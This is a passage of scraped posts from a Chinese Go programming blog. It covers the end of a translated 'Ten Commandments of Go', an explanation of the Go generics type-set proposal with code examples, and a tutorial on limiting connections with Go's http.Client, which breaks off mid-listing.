对于一个打算永远运行而不崩溃或出错的程序来说，对其的要求要比对单次命令行工具要严格一些。例如，想想太空探测器：在关键时刻意外重启制导系统，可能会让价值数十亿美元的飞行器驶向星系间的虚空。对于负责的软件工程师来说，这很可能会导致一场没有咖啡的面谈，让人有些不舒服。\n我们不是都在为太空器写软件，但我们应该像太空工程师一样思考。自然，我们的程序应该永远不会崩溃（最坏的情况下，它们应该优雅地退化，并提出退出过程的详实信息），但它们也需要是可持续的。这意味着不能泄露内存、goroutines、文件句柄或任何其他稀缺资源。\n每当你有一些可泄漏的资源时，当你知道你已经成功获得它的那一刻，你应该想着释放它。无论函数如何退出或何时退出，保证将其清理掉，我们可以用Go带给我们的礼物：defer。\n任何时候启动一个goroutine，你都应该知道它是如何结束的。启动它的同一个函数应该负责停止它。使用waitgroups或者errgroups，并且总是向一个可能被取消的函数传递一个context.Context。\n7. 你不应该限制用户的选择 我们如何编写友好、灵活、强大、易用的库呢？一种方法是避免不必要地限制用户对库的操作。一个常见的Gopherism(Go主义)是 “接受接口，返回结构”。但为什么这是个好建议呢？\n假设你有一个函数，接受类似于一个*os.File的参数 ，并向其写入数据。也许被写入的东西是一个文件并不重要，具体来说，它只需要是一个 “你可以写入的东西”（这个想法由标准库接口，如io.Writer表达）。有很多这样的东西：网络连接、HTTP response writer、bytes.Buffer等等。\n通过强迫用户传递给你一个文件，你限制了他们对你的库的使用。通过接受一个接口(如 io.Writer)来代替，你将打开新的可能性，包括尚未被创造的类型，后续它们仍然可以满足(接口) ，可以与你的代码io.Writer一起工作。\n为什么要 “返回结构体”？好吧，假设你返回一些接口类型。这极大地限制了用户对该值的操作（他们能做的就是调用其上的方法）。即使他们事实上可以用底层的具体类型做他们需要做的事情，他们也必须先用类型断言来解包它。换句话说，这就是额外的文书工作(应该避免)。\n另一种避免限制用户选择的方法是不要使用只有当前Go版本才有的功能。相反，考虑至少支持最近两个主要的Go版本：有些人不能立即升级。\n8. 你应该设定边界 让每一个软件组件在自己的内部是完整的、有能力的；不要让它的内部关注点暴露出来，越过它的边界渗入到其他组件中。这一点对于与其他人的代码的边界来说，是双倍的。\n例如，假设你的库调用了某个API。这个API会有自己的模式和自己的词汇，反映自己的关注点和自己的领域语言。\n边界是那些与你的代码接触的点：例如，调用API并解析其响应的函数。我把它称为 “airlock “函数，因为它的工作部分是确保你的内部类型和关注点不会泄露出去，并防止外来数据泄露进来。\n一旦你让一点外来数据在你的程序内部自由运行，它很快就会到处乱跑。你的其他包都需要导入这些外来类型，这很烦人，而且代码将会有一股糟糕的味道。\n相反，你的airlock函数应该做两件事：它应该将外来数据转化为你自己的内部格式，而且应该确保数据是有效的。现在，你的所有其他代码只需要处理你的内部类型，它不需要担心数据是否会出错、丢失或不完整。\n另一种执行良好边界的方法是始终检查错误。如果你不这样做，无效的数据可能会泄露进来。\n9. 你不应该在内部使用接口 一个接口值说：”我不知道这个东西到底是什么，但也许我知道有些事情我可以用它来做。” 这在Go程序中是一种超级不方便的值，因为我们不能做任何没有被接口指定的事情。\n对于空接口(interface{})来说，这也是双倍的，因为我们对它一无所知。因此，根据定义，如果你有一个空的接口值，你需要把它类型化为具体的东西才能使用它。\n在处理任意数据（也就是在运行时类型或模式未知的数据）时，不得不使用它们是很常见的，比如无处不在的map[string]interface{}。但是，我们应该尽快使用airlock将这一团无知转化为某种具体类型的有用的Go值。\n特别是，不要用interface{}类型值来模拟泛型（Go有泛型）。不要写一个函数，接受一些可以是七种具体类型之一的值，然后对其进行类型转换，为该类型找到合适的操作。相反，写七个函数，每个具体类型一个。\n不要仅因为你可以在测试中注入mock，就创建一个公共的接口，这是一个错误。创建一个真正的用户在调用你的函数之前必须实现的接口，这违反了“无文书工作原则”。不要在一般情况下写mock；Go不适合这种风格的测试。(当Go中的某些东西很困难时，这通常是你做错事的标志。)\n10. 你不要盲目地遵从诫命，而要自己思考 人们说：”告诉我们什么是最佳做法”，仿佛有一本小秘籍，里面有任何技术或组织问题的正确答案。(是有的，但不要说出去。我们不希望每个人都成为顾问)。\n小心任何看似清楚、明确、简单地告诉你在某种情况下该怎么做的建议。它不会适用于每一种情况，在适用的地方，它都需要告诫，需要细微的差别，需要澄清。\n每个人都希望得到的是不需要真正理解就能应用的建议。但这样的建议比它能带来的帮助更危险：它能让你走到桥的一半，然后你会发现桥是纸做的，而且刚开始下雨。\n非常感谢比尔-肯尼迪（Bill Kennedy）和伊南克-古姆斯（Inanc Gumus）对这篇文章的有益评论。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/09/ten-commandments-of-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/ten-commandments-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/04/09/ten-commandments-of-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/04/09/ten-commandments-of-go\"\u003ehttps://tonybai.com/2021/04/09/ten-commandments-of-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自John Arundel的\u003ca href=\"https://bitfieldconsulting.com/golang/commandments\"\u003e《Ten commandments of Go》\u003c/a\u003e。全文如下：\u003c/p\u003e\n\u003cp\u003e作为一名全职的Go语言\u003ca href=\"https://bitfieldconsulting.com/books\"\u003e作家\u003c/a\u003e和\u003ca href=\"https://bitfieldconsulting.com/golang/learn\"\u003e老师\u003c/a\u003e，我花了很多时间和学生们一起，帮助他们写出更清晰、更好、更有用的Go程序。我发现，我给他们的建议可以归纳总结为一套通用原则，在这里我将这些原则分享给大家。\u003c/p\u003e\n\u003ch3 id=\"1-你应该是无聊的\"\u003e1. 你应该是无聊的\u003c/h3\u003e\n\u003cp\u003eGo社区喜欢共识(consensus)。比如：Go源代码有一个由gofmt强制执行的统一的代码格式规范。同样，无论你要解决什么问题，通常都有一个标准的、类似于Go行事风格的方法来解决。\u003cstrong\u003e有时它是标准的方式，因为它是最好的方式，但通常它只是最好的方式，因为它是标准的方式\u003c/strong\u003e。\u003c/p\u003e","title":"Go语言“十诫”[译]"},{"content":"本文永久链接 – https://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword\n近日，Go泛型语法负责人之一的Ian Lance Taylor发布了一个issue，说明go团队想引入新的type set概念，并去除原Go泛型方案中置于interface定义中的type list中的type关键字。\n对于Go泛型来龙去脉不是很了解的童鞋，可以先去看看我看看我之前的文章：《能力越大，责任越大” – Go语言之父详解将于Go 1.18发布的Go泛型》。在那篇文章的结尾，Go设计团队对自己的Go泛型设计方案中的几个方面给出了自己的满意度评价，其中唯一让团队感觉还不是很完美的就是“Type lists in interfaces”：\n1. 何为Type lists in interfaces 我们先来说说何为Type lists in interfaces！当前Go泛型方案使用interface类型用于表达对类型参数(type parameters)的约束(constraints)，比如：\ntype MyC1 interface { M1() } func F1[T MyC1](t T) { } 在上述代码中，我们使用interface MyC1作为类型参数(type parameters)的约束，对于F1函数而言，所有满足MyC1接口的类型都可以作为其类型参数的实参传入：\ntype MyT1 string func(t1 *MyT1) M1() {} var t1 = new(MyT1) F1(t1) *MyT1实现了MyC1接口，于是我们可以将其实例(t1)传给F1。Go泛型的自动类型推导会将T的实参置为*MyT1。\n完整程序如下：\n// https://go2goplay.golang.org/p/WPCvmwkxcEL package main import ( \u0026quot;fmt\u0026quot; ) type MyC1 interface { M1() } func F1[T MyC1](t T) { fmt.Printf(\u0026quot;%T\\n\u0026quot;, t) } type MyT1 string func (t1 *MyT1) M1() { } func main() { var t1 = new(MyT1) F1(t1) // *main.MyT1 } 对于自定义类型，通过实现接口的方法集合即可满足接口，对于类型参数可以是原生类型的情况，我们无法通过这种方式实现，于是Go团队将type list加入到interface接口中，仅用作泛型类型参数的约束检查：\ntype MyC2 interface { type int, int32, int64 } func F2[T MyC2](t T) { fmt.Printf(\u0026quot;%T\\n\u0026quot;, t) } func main() { var t2 string F2(t2) // string } 而MyMC2中的：\ntype int, int32, int64 就是所谓的”type list”。\n如果一个interface定义中既有method也有type list，那么要满足这个interface类型，则作为类型参数实参的类型既必须在type list中（或其underlying type在type list中），又必须实现接口类型的所有方法：\n// https://go2goplay.golang.org/p/rE8mGH0lHWm package main import ( \u0026quot;fmt\u0026quot; ) type MyC3 interface { M3() type int, string, float64 } func F3[T MyC3](t T) { fmt.Printf(\u0026quot;%T\\n\u0026quot;, t) } type MyT3 string func (t3 MyT3) M3() { } func main() { t3 := MyT3(\u0026quot;hello\u0026quot;) F3(t3) // main.MyT3 } 细心的童鞋会发现：拥有type list的interface仅能用于做为类型参数的约束，而不能像普通interface类型那样使用：\n// https://go2goplay.golang.org/p/mJoEYrceBSL package main type MyC3 interface { M3() type int, string, float64 } func main() { var i3 MyC3 // type checking failed for main // prog.go2:9:9: interface contains type constraints (int, string, float64) _ = i3 } 这种gap(缝隙)始终让Go核心团队的开发人员感到“不爽”，那么能否将两者融合在一起呢？即放开对包含type list的interface类型仅能做constraint的限制，让其和普通interface一样使用。这次引入的type set应该是解决这个问题的一个前提。但在这个新proposal中，核心团队还没有将这个问题作为重点，只能算作是为以后留个作业吧。\n2. 引入type set概念 Ian Lance Taylor发布的这个issue主要就是想引入type set概念，并用新语法等价替代原泛型proposal中的type list，新语法去除了原type list中的type关键字。\n于是go团队试图这样来做：\n// 当前的type list type SignedInteger interface { type int, int8, int16, int32, int64 } // type set理念下的新语法 type SignedInteger interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 } 我们看到新语法中去掉了原先type list中的type关键字，类型间的间隔也由逗号改为了管道符|。按该proposal的原意，管道符(在布尔代数中也表示或)更接近于type list的原意，即可以是int，或int8或….。如果仅仅是变成了如下改进的语法：\ntype SignedInteger interface { int | int8 | int16 | int32 | int64 } 估计大家也没多大意见。但是偏偏引入了“~”这个前缀。~int与int有什么区别呢？要搞清楚区别就要先来看看Ian新引入的type set概念了。\n什么是type set(类型集合)？Ian给出了此概念的定义：\n每个类型都有一个type set。\n非接口类型的类型的type set中仅包含其自身。比如非接口类型T，它的type set中唯一的元素就是它自身：{T}；\n对于一个普通的、没有type list的普通接口类型来说，它的type set是一个无限集合。所有实现了该接口类型所有方法的类型都是该集合的一个元素，另外由于该接口类型本身也声明了其所有方法，因此接口类型自身也是其Type set的一员。\n空接口类型interface{}的type set中则是囊括了所有可能的类型；\n这样一来我们来试试用type set概念重新陈述一下一个类型T实现一个接口类型I：即当类型T是接口类型I的type set的一员时，T便实现了接口I;\n对于使用嵌入接口类型组合而成的接口类型，其type set就是其所有的嵌入的接口类型的type set的交集。proposal中的举例：type O2 interface{ E1; E2 } ，则02这个接口类型的type set是E1和E2两个接口类型的type set的交集。\n一个拥有一个method的接口类型，比如：\ntype MyInterface1 interface { MyMethod() }\n可以看成嵌入一个仅包含MyMethod的接口类型的接口类型：\ntype MyInterface interface { MyMethod() } type MyInterface1 interface { MyInterface } 因此，一个带有自身Method的嵌入其他接口类型的接口类型，比如：\ntype 03 interface { E1 E2 MyMethod03() }\n它的type set可以看成E1、E2和E3(type E3 interface { MyMethod03})的type set的交集。\n3. 替换type list的新语法方案 我们再回到前面提到的新语法方案：\n// type set 新语法 type SignedInteger interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 } Go开发团队给那些用于作为约束或被嵌入到作为约束的接口类型中的接口类型的定义做了重新描述，称这类接口类型的定义中可以嵌入一些额外的结构，被称为interface elements，其组成如下图：\n图中MyInterface是一个仅用于约束或嵌入到作为约束的接口类型中的类型； MyInterface除了拥有自己的方法列表(M1、M2)外，还可以嵌入额外的结构：interface elements，就是T1|T2|~T3|T4…|Tn那一行，这一行即替代了原先方案中的type list; interface elements这一行有三个值得关注的事情： T1、T2、T4、Tn这些仅代表type set仅为自身的类型； ~T3的type set 为所有underlying type为T3的类型，~T3被称为approximation elements; 管道符将这些类型连接在一起，共同构成一个union element，该union element的type set为所有这些类型的type set的并集。 好了现在一切都建立在type set这个概念上。那么当上述接口类型作为类型参数的约束时，要想满足该约束，可以作为类型参数的实参，那么传入的类型应该在作为约束的接口类型的type set中。\n有了前面关于type set以及接口嵌入的type set的铺垫，作为约束的接口类型的理解就容易多了。无论是单纯的接口类型还是使用嵌入其他接口组合而成的接口类型，亦或是既包括嵌入也拥有自己的method list的接口类型。\n4. 问题 Ian的issue一发出就得到了社区的重点关注，并引来的激烈的讨论，但从头看到尾，似乎大家都有些“跑题”，关于这个proposal的真正疑问在于approximation elements身上：\n是否有必要单独拿出approximation elements这个概念 我们回顾一下当前泛型语法作为约束的接口定义所使用的type list语法，看看当前的type list语法中各个类型是否是仅代表自身？\n// https://go2goplay.golang.org/p/5VbaSCQ8-Dq package main import ( \u0026quot;fmt\u0026quot; ) type S1 struct { Name string Age int } type S2 S1 type MyC4 interface { type struct { Name string Age int }, int } func F4[T MyC4](t T) { fmt.Printf(\u0026quot;%T\\n\u0026quot;, t) } type MyInt int func main() { var t1 = S1{\u0026quot;tony\u0026quot;, 17} F4(t1) // main.S1 var t2 = S2{\u0026quot;tony\u0026quot;, 17} F4(t2) // main.S2 var n MyInt = 3 F4(n) // main.MyInt } 我们看到作为约束的接口类型MyC4的type list中有两个类型：一个匿名struct和int。之后我们分别使用S1、S2和MyInt作为类型参数的实参，居然都通过了！也就是说当前的type list中的类型按照type set的概念解释，都属于approximation element，只要是underlying type在type list中，那么就可以作为类型参数的实参，通过约束检查。\n那就是说：\n我们是否可以只将：\ntype I1 interface { type int, string, float64 ... ... } 换成：\ntype I1 interface { int | string | float64 ... ... } 而无需~这个符号呢？\n如果符号是必要的，可否不用符号？ Go语言中没有使用~运算符，但这个符号在其他主流语言，比如C中是位运算符，而且代表的“非”这个运算符。因此将其用在类型T前面，打眼一看，以为其含义是“不是类型T的类型”。而新proposal则将其用于表示approximation element。这让很多gopher提出异议，希望换一个符号，比如T+等。但目前尚无定论。\n5. 小结 能力有限，以上一些对该proposal的理解可能有误，欢迎交流指正。\ntype set并没有改变什么，只是完成了对interface与实现interface的重新解释。 但是对于后续将interface element用于普通interface类型定义可能有重大的意义。当前的带有interface element的interface类型仅能用于作为泛型类型参数的约束，这与普通interface之间的gap早晚要“填上”，不过这已经不是这个proposal要解决的事情。\n从泛型提出到如今，我已经感到泛型的引入极大增加了复杂性 ，即便没有滥用泛型，没有耍奇技淫巧，泛型的引入也让go复杂性陡增。就像这个proposal，认真阅读并理解还是需要花费不少时间和精力的。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword\"\u003ehttps://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-generics-use-type-sets-to-remove-type-keyword-0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e近日，Go泛型语法负责人之一的\u003ca href=\"https://github.com/golang/go/issues/45346\"\u003eIan Lance Taylor发布了一个issue\u003c/a\u003e，说明go团队想引入新的type set概念，并去除\u003ca href=\"https://mp.weixin.qq.com/s/SMT40557JgQ9FjUkswznlA\"\u003e原Go泛型方案\u003c/a\u003e中置于interface定义中的type list中的type关键字。\u003c/p\u003e","title":"Go泛型语法又出“幺蛾子”：引入type set概念和移除type list中的type关键字"},{"content":"\n1. http包默认客户端 Go语言以“自带电池”闻名，很多开发者对Go自带的功能丰富的标准库喜爱有加。而在Go标准库中，net/http包又是最受欢迎和最常用的包之一，我们用几行代码就能生成一个支持大并发、性能中上的http server。而http.Client也是用途最为广泛的http客户端，其性能也可以满足多数情况下的需求。知名女gopherJaana Dogan开源的类apache ab的http性能测试工具hey也是直接使用的http.Client，而没有用一些性能更好的第三方库（比如：fasthttp)。\n使用http包实现http客户端的最简单方法如下(来自http包的官方文档)：\nresp, err := http.Get(\u0026quot;http://example.com/\u0026quot;) ... resp, err := http.Post(\u0026quot;http://example.com/upload\u0026quot;, \u0026quot;image/jpeg\u0026quot;, \u0026amp;buf) ... 注：别忘了在Get或Post成功后，调用defer resp.Body.Close()。\n在http包的Get和Post函数背后，真正完成http客户端操作的是http包原生内置的DefaultClient：\n// $GOROOT/src/net/http/client.go // DefaultClient is the default Client and is used by Get, Head, and Post. var DefaultClient = \u0026amp;Client{} 下面是一个使用DefaultClient的例子，我们先来创建一个特殊的http server：\n// github.com/bigwhite/experiments/blob/master/http-client/default-client/server.go package main import ( \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;time\u0026quot; ) func Index(w http.ResponseWriter, r *http.Request) { log.Println(\u0026quot;receive a request from:\u0026quot;, r.RemoteAddr, r.Header) time.Sleep(10 * time.Second) w.Write([]byte(\u0026quot;ok\u0026quot;)) } func main() { var s = http.Server{ Addr: \u0026quot;:8080\u0026quot;, Handler: http.HandlerFunc(Index), } s.ListenAndServe() } 我们看到这个http server的“不同之处”在于它不急于回复http应答，而是在接收请求10秒后再回复应答。下面是我们的http client端的代码：\n// github.com/bigwhite/experiments/blob/master/http-client/default-client/client.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;sync\u0026quot; ) func main() { var wg sync.WaitGroup wg.Add(256) for i := 0; i \u0026lt; 256; i++ { go func() { defer wg.Done() resp, err := http.Get(\u0026quot;http://localhost:8080\u0026quot;) if err != nil { panic(err) } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) fmt.Println(string(body)) }() } wg.Wait() } 上面的客户端创建了256个goroutine，每个goroutine向server建立一条连接，我们先启动server，然后再运行一下上面的这个客户端程序：\n$go run server.go $$go run client.go panic: Get \u0026quot;http://localhost:8080\u0026quot;: dial tcp [::1]:8080: socket: too many open files goroutine 25 [running]: main.main.func1(0xc000128280) /Users/tonybai/Go/src/github.com/bigwhite/experiments/http-client/default-client/client.go:18 +0x1c7 created by main.main /Users/tonybai/Go/src/github.com/bigwhite/experiments/http-client/default-client/client.go:14 +0x78 exit status 2 我们看到上面的客户端抛出了一个panic，提示：打开文件描述符过多。\n上面演示环境的ulimit -n的值为256\n我们用一幅示意图来描述上面例子中的情况：\n尽管根据《通过实例理解Go标准库http包是如何处理keep-alive连接的》一文我们知道，默认情况下，http客户端是会保持连接并复用到同一主机的服务的连接的。但由于上述示例中server的延迟10s回应答的上下文，客户端在默认情况下不会等待应答回来，而是尝试建立新的连接去发送新的http请求。由于示例运行环境最大允许每个进程打开256个文件描述符，因此在客户端后期向服务端建立连接时，就会出现“socket: too many open files”的错误。\n2. 定义在小范围应用的http客户端实例 那么我们该如何控制客户端的行为以避免在资源受限的上下文情况下完成客户端的发送任务呢？我们通过设置http.DefaultClient的相关属性来实现这一点，但DefaultClient是包级变量，在整个程序中是共享的，一旦修改其属性，其他使用http默认客户端的包也会受到影响。因此更好的方案是定义一个在小范围应用的http客户端实例。\n代码：\nresp, err := http.Get(\u0026quot;http://example.com/\u0026quot;) ... resp, err := http.Post(\u0026quot;http://example.com/upload\u0026quot;, \u0026quot;image/jpeg\u0026quot;, \u0026amp;buf) ... 等价于如下代码：\nclient := \u0026amp;http.Client{} // 自定义一个http客户端实例 resp, err := client.Get(\u0026quot;http://example.com/\u0026quot;) ... resp, err := client.Post(\u0026quot;http://example.com/upload\u0026quot;, \u0026quot;image/jpeg\u0026quot;, \u0026amp;buf) ... 不同的是我们自定义的http.Client实例的应用范围仅限于上述特定范围，不会对其他使用http默认客户端的包产生任何影响。不过此时我们自定义的http.Client实例client的行为与DefaultClient的无异，要想解决上面示例panic的问题，我们还需对自定义的新客户端实例做一进步行为定制。\n3. 定制到某一host的最大连接数 上述示例的最大问题在于向server端建立的连接数不受控制，即便将每个进程可以打开的最大文件描述符个数调大，客户端还可能会遇到最大向外建立的65535个连接的极限瓶颈(客户端socket端口用尽)，因此一个严谨的客户端需要设置到某个host的最大连接数限制。\n那么，http.Client是如何控制到某个host的最大连接数的呢？http包的Client结构如下：\n//$GOROOT/src/net/http/client.go type Client struct { // Transport specifies the mechanism by which individual // HTTP requests are made. // If nil, DefaultTransport is used. Transport RoundTripper CheckRedirect func(req *Request, via []*Request) error Jar CookieJar Timeout time.Duration Client结构体一共四个字段，能控制Client连接行为的是Transport字段。如果Transport的值为nil，那么Client的连接行为遵守DefaultTransport的设置：\n// $GOROOT/src/net/http/transport.go var DefaultTransport RoundTripper = \u0026amp;Transport{ Proxy: ProxyFromEnvironment, DialContext: (\u0026amp;net.Dialer{ Timeout: 30 * time.Second, KeepAlive: 30 * time.Second, }).DialContext, ForceAttemptHTTP2: true, MaxIdleConns: 100, IdleConnTimeout: 90 * time.Second, TLSHandshakeTimeout: 10 * time.Second, ExpectContinueTimeout: 1 * time.Second, } 不过在这份DefaultTransport的“配置”中，并没有有关向某个host建立最大连接数的设置，因为在Transport结构体中，起到这个作用的字段是MaxConnsPerHost：\n// $GOROOT/src/net/http/transport.go type Transport struct { ... ... // MaxConnsPerHost optionally limits the total number of // connections per host, including connections in the dialing, // active, and idle states. On limit violation, dials will block. // // Zero means no limit. MaxConnsPerHost int ... ... } 我们来改造一下上面的示例：\n// github.com/bigwhite/experiments/blob/master/http-client/client-with-maxconnsperhost/client.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;sync\u0026quot; ) func main() { var wg sync.WaitGroup wg.Add(256) tr := \u0026amp;http.Transport{ MaxConnsPerHost: 5, } client := http.Client{ Transport: tr, } for i := 0; i \u0026lt; 256; i++ { go func(i int) { defer wg.Done() resp, err := client.Get(\u0026quot;http://localhost:8080\u0026quot;) if err != nil { panic(err) } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) fmt.Printf(\u0026quot;g-%d: %s\\n\u0026quot;, i, string(body)) }(i) } wg.Wait() } 上面的代码不再使用DefaultClient，而是自定义了一个新Client实例，并设置该实例的Transport字段为我们新建的设置了MaxConsPerHost字段的Transport实例。将server启动，并执行上面client.go，我们从server端看到如下结果：\n$go run server.go receive a request from: [::1]:63677 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63675 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63676 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63673 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63674 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63673 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63675 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63674 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63676 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63677 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63677 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63674 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63676 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63675 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:63673 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 我们看到：客户端一共向server端建立了5条连接(客户端端口号从63673到63677)，并且每隔10s，客户端复用这5条连接发送下一批请求。\nhttp.Transport维护了到每个server host的计数器connsPerHost和请求等待队列：\n// $GOROOT/src/net/http/transport.go type Transport struct { ... ... connsPerHostMu sync.Mutex connsPerHost map[connectMethodKey]int connsPerHostWait map[connectMethodKey]wantConnQueue // waiting getConns ... ... } Transport结构体使用了一个connectMethodKey结构作为key：\n// $GOROOT/src/net/http/transport.go type connectMethodKey struct { proxy, scheme, addr string onlyH1 bool } 我们看到connectMethodKey使用一个四元组(proxy,scheme,addr, onlyH1)来唯一标识一个“host”。通常对一个Client实例而言，proxy，scheme和onlyH1都是相同的，不同的是addr(ip+port)，因此实际上也就是按addr区分host。我们同样用一幅示意图描示意一下这种情况：\n4. 设定idle池的大小 不知道大家是否想到这点：当上面示例中的到某一个host的五个链接没那么繁忙时，依旧保持这个五个链接是不是有些浪费资源呢？至少占用着客户端端口以及服务端的文件描述符资源。我们是否能让客户端在闲时减少保持的到服务端的链接数量呢？我们可以通过Transport结构体类型中的MaxIdleConnsPerHost字段实现这一点。\n其实如果你不显式设置MaxIdleConnsPerHost，http包也会使用其默认值(2)：\n// $GOROOT/src/net/http/transport.go // DefaultMaxIdleConnsPerHost is the default value of Transport's // MaxIdleConnsPerHost. const DefaultMaxIdleConnsPerHost = 2 我们用一个例子来验证http.Client的这一行为！\n首先我们改变一下server端的行为，将原先的“等待10s”改为立即返回应答：\n// github.com/bigwhite/experiments/blob/master/http-client/client-with-maxidleconnsperhost/server.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;net/http\u0026quot; ) func Index(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;receive a request from:\u0026quot;, r.RemoteAddr, r.Header) w.Write([]byte(\u0026quot;ok\u0026quot;)) } func main() { var s = http.Server{ Addr: \u0026quot;:8080\u0026quot;, Handler: http.HandlerFunc(Index), } s.ListenAndServe() } 而对于client，我们需要精心设计一下：\n// github.com/bigwhite/experiments/blob/master/http-client/client-with-maxidleconnsperhost/client.go 1 package main 2 3 import ( 4 \u0026quot;fmt\u0026quot; 5 \u0026quot;io\u0026quot; 6 \u0026quot;net/http\u0026quot; 7 \u0026quot;sync\u0026quot; 8 \u0026quot;time\u0026quot; 9 ) 